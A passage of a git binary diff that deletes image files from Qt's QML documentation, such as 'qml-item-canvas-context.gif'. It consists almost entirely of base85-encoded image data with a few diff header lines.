znvsj2n+@|01C==g`cdQjkg&!A9ml<-T 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 diff --git a/src/qml/doc/images/qml-item-canvas-context.gif b/src/qml/doc/images/qml-item-canvas-context.gif deleted file mode 100644 index f18e52ca0576122fbad1b2a4130d3aa1d3d56664..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4473 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 